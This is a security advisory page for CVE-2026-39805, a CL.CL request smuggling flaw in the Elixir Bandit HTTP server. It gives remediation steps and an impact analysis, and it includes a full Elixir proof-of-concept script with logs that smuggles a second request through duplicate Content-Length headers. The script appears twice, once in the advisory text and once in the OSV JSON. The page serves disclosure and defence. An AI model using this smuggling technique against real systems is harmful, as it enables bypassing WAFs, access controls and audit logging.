CVE-2026-39805: Bandit Bandit Is Vulnerable To CL.CL Vulnerability

MODERATE
Advisory Identifier: GHSA-c67r-gc9j-2qf7
CWE-444
Published
Advisory Summary

CVE-2026-39805 is a MODERATE bandit is vulnerable to cl.cl vulnerability (CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')) affecting Bandit libraries in the Hex ecosystem. The issue involves bandit is vulnerable to cl.cl request smuggling via unrejected duplicate `content-length` header. Remediation is available by upgrading affected packages to version 1.11.0.

CVE-2026-39805 at a Glance

CVE Identifier CVE-2026-39805
GHSA Identifier GHSA-c67r-gc9j-2qf7
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Affected Product Bandit
Package Ecosystem Hex
Published Date
Last Updated

How to Fix CVE-2026-39805

To remediate this vulnerability, upgrade all affected Bandit dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

bandit fixed: 1.11.0
Upgrade bandit to 1.11.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for bandit

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-39805, inspect your project dependencies for Bandit:

inspect dependencies for bandit

Analyze the terminal output to locate any version of Bandit in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.11.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling'), where the product acts as an intermediary http agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed http requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination. In Bandit, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Bandit is vulnerable to CL.CL HTTP request smuggling: it silently accepts requests with two `Content-Length` headers whose values differ, takes the first value, and dispatches the body bytes as a second pipelined request on the same keep-alive connection. RFC 9110 §5.3 prohibits multiple lines for singleton fields like `Content-Length`, and RFC 9112 §6.3 item 5 requires the recipient to treat invalid `Content-Length` as an unrecoverable framing error. When Bandit sits behind a proxy that picks the *last* `Content-Length` and forwards rather than rejects, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging. The vulnerability was introduced prior to `v0.1.0 (released Nov 5, 2020)` on Nov 16, 2019: https://github.com/mtrudel/bandit/commit/e5270b1b19e9f3574aa0f87ec76851d66c38c0af ### Details `Bandit.Headers.get_content_length/1` (`lib/bandit/headers.ex`) calls `List.keyfind/3`, which returns only the first matching header. Bandit already correctly rejects the comma-separated form (`Content-Length: 0, 43`) when values differ; the bug is that the multi-line form never reaches that check. **Fix:** collect every `Content-Length` value from the header list and reject unless all values parse and are byte-identical — extending the existing rejection to the multi-line case. ### PoC The script below boots a local Bandit server with a Plug that echoes the dispatched method and path, then sends a POST with `Content-Length: 0` followed by `Content-Length: 43` and a 43-byte body containing a valid `GET /smuggled HTTP/1.1` request line. Run with `elixir script.exs` On Bandit 1.10.4 / Elixir 1.18, default config: two `200 OK` responses on the same TCP connection. First body `method=POST path=/`, second body `method=GET path=/smuggled`. Bandit accepted the malformed request and dispatched the embedded request line as a second request. ### Impact Spec violation that becomes request smuggling when paired with a permissive frontend. Practical impact depends entirely on what sits between the internet and Bandit, not on what runs above it. The application framework (Phoenix, LiveView, Phoenix-API + React SPA) is irrelevant — smuggled requests still flow through the full Plug pipeline, so application auth still runs. The attacker is someone hitting the API directly with curl, not the SPA. Real exposure concentrates at boundary controls the proxy enforces and Bandit doesn't see: edge WAF, path-based ACLs at the LB, edge rate limiting, centralized audit logging, and — the only realistic data-exfil path — response-queue desync on pooled upstream connections. Most major frontends already reject CL.CL (Cloudflare, AWS ALB, current nginx, HAProxy in default strict mode). Realistic exposure: custom proxies, older nginx, in-house API gateways, or multi-hop setups where one hop is permissive. - Bandit directly on the internet: spec violation, no exploit. - Bandit behind a major CDN/LB: almost certainly safe. - Bandit behind a custom or unverified proxy: real smuggling exposure, bounded by what that proxy was enforcing. Worth fixing regardless — the current behavior silently shifts security responsibility onto whichever proxy is deployed. ### Script and Logs ```elixir # Bandit HTTP/1 duplicate Content-Length first-wins PoC. # # Bandit.Headers.get_content_length/1 calls List.keyfind/3, which returns the # first Content-Length value and silently ignores additional Content-Length # entries. RFC 9112 §6.3 explicitly classifies this as an unrecoverable error # and says the recipient MUST treat it as such. # # This is the classic CL.CL request-smuggling primitive. If a fronting proxy # uses the *last* Content-Length while Bandit uses the first (or vice versa), # the second "request" embedded in the first request's body gets dispatched # as a new request on the same keep-alive connection - after the proxy has # already applied its access controls. # # Run: elixir scripts/bandit/http1_duplicate_content_length.exs Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"} ]) defmodule DemoApp do @behaviour Plug import Plug.Conn def init(opts), do: opts def call(conn, _opts) do send_resp(conn, 200, "method=#{conn.method} path=#{conn.request_path}\n") end end defmodule Smuggle do @port 4321 def run do {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port) request = build_smuggling_request() log("Sending #{byte_size(request)}-byte CL.CL request:\n#{request}") {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false]) :ok = :gen_tcp.send(sock, request) response = read_all(sock) :gen_tcp.close(sock) log("Response stream:\n#{response}") diagnose(response) end # POST with two Content-Length headers, plus a smuggled GET line in the # body. A CL-last frontend would forward the body bytes; Bandit (CL-first) # reads 0 bytes per Content-Length: 0, replies, and the smuggled request # line either gets parsed as a new request on the keep-alive connection # or stays in the buffer. defp build_smuggling_request do smuggled_request = "GET /smuggled HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n" smuggled_size = byte_size(smuggled_request) "POST / HTTP/1.1\r\n" <> "Host: 127.0.0.1\r\n" <> "Content-Length: 0\r\n" <> "Content-Length: #{smuggled_size}\r\n" <> "\r\n" <> smuggled_request end defp read_all(sock, accumulated \\ "") do case :gen_tcp.recv(sock, 0, 2_000) do {:ok, bytes} -> read_all(sock, accumulated <> bytes) {:error, _reason} -> accumulated end end # Three observable outcomes: # - 400 Bad Request -> RFC-conformant rejection (not what current # Bandit does). # - Two responses, second one for /smuggled -> Bandit dispatched the # smuggled request as a second pipelined request. # - One response -> Bandit accepted Content-Length: 0, the smuggled # bytes sat in the keep-alive buffer; with a CL-last frontend this # becomes a smuggled request on the next request boundary. defp diagnose(response) do response_lines = Regex.scan(~r/^HTTP\/1\.[01] \d{3}[^\r\n]*/m, response) |> List.flatten() log("HTTP/1.x response lines observed: #{length(response_lines)}") Enum.each(response_lines, fn line -> log(" #{line}") end) cond do response =~ ~r/^HTTP\/1\.[01] 400/ -> log("OK: Bandit rejected duplicate Content-Length (RFC 9112 §6.3 conformant).") response =~ "/smuggled" -> log("VULNERABLE: smuggled GET /smuggled was processed as a second request.") length(response_lines) == 1 -> log("ACCEPTED: Bandit took the first Content-Length (0) and left the") log("smuggled request line in the keep-alive buffer. Combined with a") log("CL-last frontend this becomes request smuggling.") true -> log("Inconclusive - see raw response above.") end end defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}") end Smuggle.run() ``` ```logs 11:52:23.036 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [09:52:23.039] Sending 118-byte CL.CL request: POST / HTTP/1.1 Host: 127.0.0.1 Content-Length: 0 Content-Length: 43 GET /smuggled HTTP/1.1 Host: 127.0.0.1 [09:52:25.057] Response stream: HTTP/1.1 200 OK date: Tue, 28 Apr 2026 09:52:22 GMT content-length: 19 vary: accept-encoding cache-control: max-age=0, private, must-revalidate method=POST path=/ HTTP/1.1 200 OK date: Tue, 28 Apr 2026 09:52:22 GMT content-length: 26 vary: accept-encoding cache-control: max-age=0, private, must-revalidate method=GET path=/smuggled [09:52:25.057] HTTP/1.x response lines observed: 2 [09:52:25.057] HTTP/1.1 200 OK [09:52:25.057] HTTP/1.1 200 OK [09:52:25.058] VULNERABLE: smuggled GET /smuggled was processed as a second request. ```

CVE-2026-39805 Affected Bandit Versions

1 component(s)
Fixed Versions:
1.11.0
Product / Package Ecosystem Affected Versions Fixed Version
bandit
Hex
< 1.11.0
1.11.0

References

Frequently Asked Questions

What is CVE-2026-39805?
CVE-2026-39805 is a security vulnerability in Bandit involving Bandit is vulnerable to CL.CL request smuggling via unrejected duplicate `Content-Length` header under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling').
Which Bandit versions are affected?
Affected versions include releases prior to 1.11.0 across affected packages: bandit.
What version fixes CVE-2026-39805?
Upgrading to 1.11.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is bandit affected?
Yes, bandit is affected in releases prior to 1.11.0. Upgrade your dependency to 1.11.0 or later.
What CWE is associated with CVE-2026-39805?
CVE-2026-39805 is classified under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') (The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.).
How can I check Hex dependencies for CVE-2026-39805?
Run the dependency tree command: 'inspect dependencies for bandit'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c67r-gc9j-2qf7",
  "modified" : "2026-05-07T03:46:31Z",
  "published" : "2026-05-07T03:46:31Z",
  "aliases" : [ "CVE-2026-39805" ],
  "summary" : "Bandit is vulnerable to CL.CL request smuggling via unrejected duplicate `Content-Length` header",
  "details" : "### Summary\n\nBandit is vulnerable to CL.CL HTTP request smuggling: it silently accepts requests with two `Content-Length` headers whose values differ, takes the first value, and dispatches the body bytes as a second pipelined request on the same keep-alive connection. RFC 9110 §5.3 prohibits multiple lines for singleton fields like `Content-Length`, and RFC 9112 §6.3 item 5 requires the recipient to treat invalid `Content-Length` as an unrecoverable framing error. When Bandit sits behind a proxy that picks the *last* `Content-Length` and forwards rather than rejects, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.\n\nThe vulnerability was introduced prior to `v0.1.0 (released Nov 5, 2020)` on Nov 16, 2019: https://github.com/mtrudel/bandit/commit/e5270b1b19e9f3574aa0f87ec76851d66c38c0af\n\n### Details\n\n`Bandit.Headers.get_content_length/1` (`lib/bandit/headers.ex`) calls `List.keyfind/3`, which returns only the first matching header. Bandit already correctly rejects the comma-separated form (`Content-Length: 0, 43`) when values differ; the bug is that the multi-line form never reaches that check.\n\n**Fix:** collect every `Content-Length` value from the header list and reject unless all values parse and are byte-identical — extending the existing rejection to the multi-line case.\n\n### PoC\n\nThe script below boots a local Bandit server with a Plug that echoes the dispatched method and path, then sends a POST with `Content-Length: 0` followed by `Content-Length: 43` and a 43-byte body containing a valid `GET /smuggled HTTP/1.1` request line. Run with `elixir script.exs`\n\nOn Bandit 1.10.4 / Elixir 1.18, default config: two `200 OK` responses on the same TCP connection. First body `method=POST path=/`, second body `method=GET path=/smuggled`. Bandit accepted the malformed request and dispatched the embedded request line as a second request.\n\n### Impact\n\nSpec violation that becomes request smuggling when paired with a permissive frontend. Practical impact depends entirely on what sits between the internet and Bandit, not on what runs above it.\n\nThe application framework (Phoenix, LiveView, Phoenix-API + React SPA) is irrelevant — smuggled requests still flow through the full Plug pipeline, so application auth still runs. The attacker is someone hitting the API directly with curl, not the SPA.\n\nReal exposure concentrates at boundary controls the proxy enforces and Bandit doesn't see: edge WAF, path-based ACLs at the LB, edge rate limiting, centralized audit logging, and — the only realistic data-exfil path — response-queue desync on pooled upstream connections.\n\nMost major frontends already reject CL.CL (Cloudflare, AWS ALB, current nginx, HAProxy in default strict mode). Realistic exposure: custom proxies, older nginx, in-house API gateways, or multi-hop setups where one hop is permissive.\n\n- Bandit directly on the internet: spec violation, no exploit.\n- Bandit behind a major CDN/LB: almost certainly safe.\n- Bandit behind a custom or unverified proxy: real smuggling exposure, bounded by what that proxy was enforcing.\n\nWorth fixing regardless — the current behavior silently shifts security responsibility onto whichever proxy is deployed.\n\n### Script and Logs\n\n```elixir\n# Bandit HTTP/1 duplicate Content-Length first-wins PoC.\n#\n# Bandit.Headers.get_content_length/1 calls List.keyfind/3, which returns the\n# first Content-Length value and silently ignores additional Content-Length\n# entries. RFC 9112 §6.3 explicitly classifies this as an unrecoverable error\n# and says the recipient MUST treat it as such.\n#\n# This is the classic CL.CL request-smuggling primitive. If a fronting proxy\n# uses the *last* Content-Length while Bandit uses the first (or vice versa),\n# the second \"request\" embedded in the first request's body gets dispatched\n# as a new request on the same keep-alive connection - after the proxy has\n# already applied its access controls.\n#\n# Run: elixir scripts/bandit/http1_duplicate_content_length.exs\n\nMix.install([\n  {:bandit, \"~> 1.10\"},\n  {:plug, \"~> 1.19\"}\n])\n\ndefmodule DemoApp do\n  @behaviour Plug\n\n  import Plug.Conn\n\n  def init(opts), do: opts\n\n  def call(conn, _opts) do\n    send_resp(conn, 200, \"method=#{conn.method} path=#{conn.request_path}\\n\")\n  end\nend\n\ndefmodule Smuggle do\n  @port 4321\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)\n\n    request = build_smuggling_request()\n    log(\"Sending #{byte_size(request)}-byte CL.CL request:\\n#{request}\")\n\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n    :ok = :gen_tcp.send(sock, request)\n\n    response = read_all(sock)\n    :gen_tcp.close(sock)\n\n    log(\"Response stream:\\n#{response}\")\n    diagnose(response)\n  end\n\n  # POST with two Content-Length headers, plus a smuggled GET line in the\n  # body. A CL-last frontend would forward the body bytes; Bandit (CL-first)\n  # reads 0 bytes per Content-Length: 0, replies, and the smuggled request\n  # line either gets parsed as a new request on the keep-alive connection\n  # or stays in the buffer.\n  defp build_smuggling_request do\n    smuggled_request = \"GET /smuggled HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\n\\r\\n\"\n    smuggled_size = byte_size(smuggled_request)\n\n    \"POST / HTTP/1.1\\r\\n\" <>\n      \"Host: 127.0.0.1\\r\\n\" <>\n      \"Content-Length: 0\\r\\n\" <>\n      \"Content-Length: #{smuggled_size}\\r\\n\" <>\n      \"\\r\\n\" <>\n      smuggled_request\n  end\n\n  defp read_all(sock, accumulated \\\\ \"\") do\n    case :gen_tcp.recv(sock, 0, 2_000) do\n      {:ok, bytes} -> read_all(sock, accumulated <> bytes)\n      {:error, _reason} -> accumulated\n    end\n  end\n\n  # Three observable outcomes:\n  #   - 400 Bad Request -> RFC-conformant rejection (not what current\n  #     Bandit does).\n  #   - Two responses, second one for /smuggled -> Bandit dispatched the\n  #     smuggled request as a second pipelined request.\n  #   - One response -> Bandit accepted Content-Length: 0, the smuggled\n  #     bytes sat in the keep-alive buffer; with a CL-last frontend this\n  #     becomes a smuggled request on the next request boundary.\n  defp diagnose(response) do\n    response_lines = Regex.scan(~r/^HTTP\\/1\\.[01] \\d{3}[^\\r\\n]*/m, response) |> List.flatten()\n    log(\"HTTP/1.x response lines observed: #{length(response_lines)}\")\n    Enum.each(response_lines, fn line -> log(\"  #{line}\") end)\n\n    cond do\n      response =~ ~r/^HTTP\\/1\\.[01] 400/ ->\n        log(\"OK: Bandit rejected duplicate Content-Length (RFC 9112 §6.3 conformant).\")\n\n      response =~ \"/smuggled\" ->\n        log(\"VULNERABLE: smuggled GET /smuggled was processed as a second request.\")\n\n      length(response_lines) == 1 ->\n        log(\"ACCEPTED: Bandit took the first Content-Length (0) and left the\")\n        log(\"smuggled request line in the keep-alive buffer. Combined with a\")\n        log(\"CL-last frontend this becomes request smuggling.\")\n\n      true ->\n        log(\"Inconclusive - see raw response above.\")\n    end\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}\")\nend\n\nSmuggle.run()\n```\n\n```logs\n11:52:23.036 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[09:52:23.039] Sending 118-byte CL.CL request:\nPOST / HTTP/1.1\nHost: 127.0.0.1\nContent-Length: 0\nContent-Length: 43\n\nGET /smuggled HTTP/1.1\nHost: 127.0.0.1\n\n\n[09:52:25.057] Response stream:\nHTTP/1.1 200 OK\ndate: Tue, 28 Apr 2026 09:52:22 GMT\ncontent-length: 19\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nmethod=POST path=/\nHTTP/1.1 200 OK\ndate: Tue, 28 Apr 2026 09:52:22 GMT\ncontent-length: 26\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nmethod=GET path=/smuggled\n\n[09:52:25.057] HTTP/1.x response lines observed: 2\n[09:52:25.057]   HTTP/1.1 200 OK\n[09:52:25.057]   HTTP/1.1 200 OK\n[09:52:25.058] VULNERABLE: smuggled GET /smuggled was processed as a second request.\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Hex",
      "name" : "bandit"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.11.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mtrudel/bandit/security/advisories/GHSA-c67r-gc9j-2qf7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39805"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mtrudel/bandit/commit/f2ca636eb6df385219957e8934e9fc6efa1630d1"
  }, {
    "type" : "WEB",
    "url" : "https://cna.erlef.org/cves/CVE-2026-39805.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mtrudel/bandit"
  }, {
    "type" : "WEB",
    "url" : "https://osv.dev/vulnerability/EEF-CVE-2026-39805"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-444" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T03:46:31Z",
    "nvd_published_at" : "2026-05-01T21:16:17Z"
  }
}